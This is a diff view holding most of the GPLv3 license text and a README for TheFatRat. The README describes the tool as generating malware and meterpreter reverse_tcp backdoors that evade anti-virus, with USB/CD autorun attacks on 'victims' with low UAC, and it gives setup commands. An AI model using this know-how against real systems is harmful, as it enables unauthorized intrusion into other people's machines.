parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
{one line to give the program's name and a brief idea of what it does.}
|
||||
Copyright (C) {year} {name of author}
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
{project} Copyright (C) {year} {fullname}
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||
|
|
215
README.md
|
@ -1,145 +1,112 @@
|
|||
|
||||
# TheFatRat
|
||||
|
||||
[![Version](https://img.shields.io/badge/TheFatRat-1.9.8-brightgreen.svg?maxAge=259200)]()
|
||||
[![Version](https://img.shields.io/badge/Codename-Target-red.svg?maxAge=259200)]()
|
||||
[![Stage](https://img.shields.io/badge/Release-Testing-brightgreen.svg)]()
|
||||
[![Build](https://img.shields.io/badge/Supported_OS-Linux-orange.svg)]()
|
||||
[![Available](https://img.shields.io/badge/Available-BlackArch-red.svg?maxAge=259200)]()
|
||||
[![Documentation](https://img.shields.io/badge/CEHv10-eccouncil-blue.svg?maxAge=259200)](https://github.com/ManhNho/CEHv10/tree/master/Slides)
|
||||
[![Contributions Welcome](https://img.shields.io/badge/contributions-welcome-blue.svg?style=flat)]()
|
||||
|
||||
|
||||
### A Massive Exploiting Tool
|
||||
|
||||
#TheFatRat ( Unit for bypass av )
|
||||
![Banner](https://user-images.githubusercontent.com/17976841/65820028-6ae17e00-e24e-11e9-894f-35836481cc2c.png)
|
||||
|
||||
##Update: Version 1.8.1
|
||||
##Codename: Spark
|
||||
**TheFatRat** is an exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Linux , Windows , Mac and Android. **TheFatRat** Provides An Easy way to create Backdoors and Payload which can bypass most anti-virus.
|
||||
|
||||
## Information
|
||||
This tool is for educational purpose only, usage of TheFatRat for attacking targets without prior mutual consent is illegal.
|
||||
Developers assume no liability and are not responsible for any misuse or damage cause by this program.
|
||||
|
||||
What is TheFatRat ??
|
||||
## Features !
|
||||
- Fully Automating MSFvenom & Metasploit.
|
||||
- Local or remote listener Generation.
|
||||
- Easily Make Backdoor by category Operating System.
|
||||
- Generate payloads in Various formats.
|
||||
- Bypass anti-virus backdoors.
|
||||
- File pumper that you can use for increasing the size of your files.
|
||||
- The ability to detect external IP & Interface address .
|
||||
- Automatically creates AutoRun files for USB / CDROM exploitation
|
||||
|
||||
An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .
|
||||
|
||||
#Screenshot
|
||||
<img src="https://cloud.githubusercontent.com/assets/17976841/22401700/f08098ae-e60f-11e6-8e01-f2380f1b7c29.png" width="55%"></img>
|
||||
#---------------------------------------------------------------
|
||||
|
||||
<img src="https://cloud.githubusercontent.com/assets/17976841/18483870/39cb46ba-7a10-11e6-859b-1c1baa3c1b0a.png" width="32%"></img> <img src="https://cloud.githubusercontent.com/assets/17976841/18483871/39cb81ca-7a10-11e6-84f3-1683067fa4f5.png" width="32%"></img> <img src="https://cloud.githubusercontent.com/assets/17976841/18483873/39d54372-7a10-11e6-890f-41803a33b9c9.png" width="32%"></img>
|
||||
#Automating metasploit functions
|
||||
|
||||
- Checks for metasploit service and starts if not present
|
||||
|
||||
- Easily craft meterpreter reverse_tcp payloads for Windows, Linux, Android and Mac and another
|
||||
|
||||
- Start multiple meterpreter reverse_tcp listners
|
||||
|
||||
- Fast Search in searchsploit
|
||||
|
||||
- Bypass AV
|
||||
|
||||
- File pumper
|
||||
|
||||
- Create backdoor with another techniq
|
||||
|
||||
- Autorunscript for listeners ( easy to use )
|
||||
|
||||
- Drop into Msfconsole
|
||||
|
||||
- Some other fun stuff :)
|
||||
### But it's shit! And your implementation sucks!
|
||||
- Yes, you're probably correct. Feel free to "Not use it" and there is a pull button to "Make it better".
|
||||
|
||||
|
||||
|
||||
#Autorun Backdoor
|
||||
|
||||
- Autorun work if the victim disabled uac ( user acces control ) or low uac ( WINDOWS )
|
||||
- What is uac ? you can visit ( http://www.digitalcitizen.life/uac-why-you-should-never-turn-it-off )
|
||||
- I have also created 3 AutoRun files
|
||||
- Simply copy these files to a CD or USB
|
||||
- You can change the icon autorun file or exe in folder icon ( replace your another ico and replace name with autorun.ico )
|
||||
|
||||
|
||||
#HOW CHANGE THE ICONS ?
|
||||
|
||||
- Copy your icon picture to folder /TheFatrat/icons
|
||||
- Change the name into autorun.ico
|
||||
- And Replace
|
||||
- Done
|
||||
|
||||
|
||||
## :scroll: Changelog
|
||||
Be sure to check out the [Changelog] and Read CHANGELOG.md
|
||||
|
||||
|
||||
## Getting Started
|
||||
1. ```git clone https://github.com/Screetsec/TheFatRat.git```
|
||||
2. ```cd TheFatRat/setup```
|
||||
3. ```chmod +x setup.sh && ./setup.sh```
|
||||
|
||||
## Alternative: Docker
|
||||
|
||||
# Installation
|
||||
Instructions on how to install *TheFatRat*
|
||||
```bash
|
||||
$ git clone https://github.com/Screetsec/TheFatRat.git
|
||||
$ cd TheFatRat
|
||||
$ docker build -t=thefatrat .
|
||||
$ docker run -it --name "thefatrat" thefatrat
|
||||
git clone https://github.com/Screetsec/TheFatRat.git
|
||||
cd TheFatRat
|
||||
chmod +x setup.sh && ./setup.sh
|
||||
```
|
||||
### Update
|
||||
```bash
|
||||
cd TheFatRat
|
||||
./update && chmod +x setup.sh && ./setup.sh
|
||||
```
|
||||
### Troubleshoot on TheFatRat
|
||||
chk_tools script to use in case of problems in setup.sh of fatrat
|
||||
this script will check if everything is in the right version to run fatrat
|
||||
and will also provide you a solution for the problem
|
||||
```
|
||||
cd TheFatRat
|
||||
chmod +x chk_tools
|
||||
./chk_tools
|
||||
```
|
||||
|
||||
And it's up & running.
|
||||
## Tools Overview
|
||||
| Front View | Sample Feature |
|
||||
| ------------ | ------------ |
|
||||
|![Index](https://cloud.githubusercontent.com/assets/17976841/25420100/9ee12cf6-2a80-11e7-8dfa-c2e3cfe71366.png)|![f](https://user-images.githubusercontent.com/17976841/65820886-91a4b200-e258-11e9-9a00-1e5905f6be16.jpg)
|
||||
|
||||
## :book: How it works
|
||||
|
||||
* Extract The lalin-master to your home or another folder
|
||||
* chmod +x fatrat
|
||||
* chmod +x powerfull.sh
|
||||
